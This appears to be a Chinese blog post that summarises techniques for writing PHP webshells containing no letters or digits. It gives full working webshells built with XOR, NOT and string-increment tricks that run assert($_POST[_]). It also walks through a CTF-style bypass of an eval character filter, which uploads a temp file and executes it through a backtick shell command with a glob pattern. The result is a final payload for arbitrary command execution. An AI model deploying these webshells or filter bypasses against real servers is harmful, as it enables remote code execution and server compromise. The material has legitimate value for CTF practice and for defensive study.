一些不包含数字和字母的webshell总结

前言

这是P神的文章  一些不包含数字和字母的webshell | 离别歌 (leavesongs.com) 和  无字母数字webshell之提高篇 | 离别歌 (leavesongs.com) 的读后总结

正文

 

思路

思路就用异或等位运算来讲“不含数字字母的乱码”转化为我们想要的函数名字符串(eval,assert等),可以看这篇文章来了解如何转换: 无字符数字字符串绕过

接着利用PHP动态函数的特性来运行我们刚刚构造的函数名字符串。

动态函数的payload构造模板:$_='%01' ^ '`'; $_(); 这便是动态函数的执行方法

在PHP7中允许 ($a)(); 的方法执行动态函数,第一个括号中可以是任意PHP表达式,例子: (~%8F%97%8F%96%91%99%90)(); //phpinfo()

 

构建不含数字和字母的webshell有三种常见方法

 

方法一(异或运算)

这种方法就是用异或运算来构造我们想要的字符串

示例webshell:

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

 

方法二 (取反运算)

和方法一一样,只是换成了取反运算

 

方法三 (自增)

php官网这样解释字符变量运算的

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

再取这个字符串的第一个字母,就可以获得'A'了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

示例webshell

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

 

进阶

如果过滤了"$"符号该怎么办,我们构造的payload都是根据php的变量构建的,所以如果过滤了"$"符号,我们就需要另找出路

分三个PHP版本

PHP8

这是一个新的补充,在 PHP8 中不在允许 eval 传入的字符串省略引号,传入eva的字符串必须要是完完全全正确可执行的才行

在 PHP7 中,eval("echo abc;");

而在 PHP8 中,eval("echo abc;"); 不在被允许,需要改为 eval("echo 'abc';"); 才可执行

 

可以利用上面说到的

在PHP8中同样允许 ($a)(); 的方法执行动态函数,第一个括号中可以是任意PHP表达式,但要注意在PHP8中不再允许~%8F%97%8F%96%91%99%90,需要加上引号才行~"%8F%97%8F%96%91%99%90",例子: (~"%8F%97%8F%96%91%99%90")(); //phpinfo()

 

PHP7

可以利用上面说到的

在PHP7中允许 ($a)(); 的方法执行动态函数,第一个括号中可以是任意PHP表达式,例子: (~%8F%97%8F%96%91%99%90)(); //phpinfo()

 

PHP5

因为php5不能用上面php7的方法,所以会复杂很多

补充如下的php和shell的特殊指令用法
  1. php调用系统shell的最简单的方法     <?=`whoami`;?> 
  2. shell下可以利用 . 来执行任意脚本(仅能在bash中使用,zsh和sh无法使用,但一般也用不到),使用的方法大概是这样  . filename ,而且还不需要被执行文件拥有可执行权限
  3. Linux文件名支持用glob通配符代替(  
  4. glob支持利用 [0-9] 来表示一个范围

解释:

  •  . 或者叫做period,它的作用和source一样,就是用当前的shell执行一个文件中的命令,并且不需要被执行文件有可执行权限
  •  * 可以代替0个及以上任意字符
  •  ? 可以代表1个任意字符

下面看看P神在解决这道题的过程

代码如下

<?php

if(isset($_GET['code'])){

    $code = $_GET['code'];

    if(strlen($code)>35){

        die("Long.");

    }

    if(preg_match("/[A-Za-z0-9_$]+/",$code)){

        die("NO.");

    }

    eval($code);

}else{

    highlight_file(__FILE__);

}

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

经过阅读Linux文档后,发现其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts

排除了第4个字符是-的文件,同样我们可以排除包含.的文件:

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

那么,我们可以利用[@-[]来表示大写字母:

显然这一招是管用的。

 

构造POC,执行任意命令

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?><?=`. /???/????????[@-[]`;?>,发送数据包如下:

成功执行任意命令。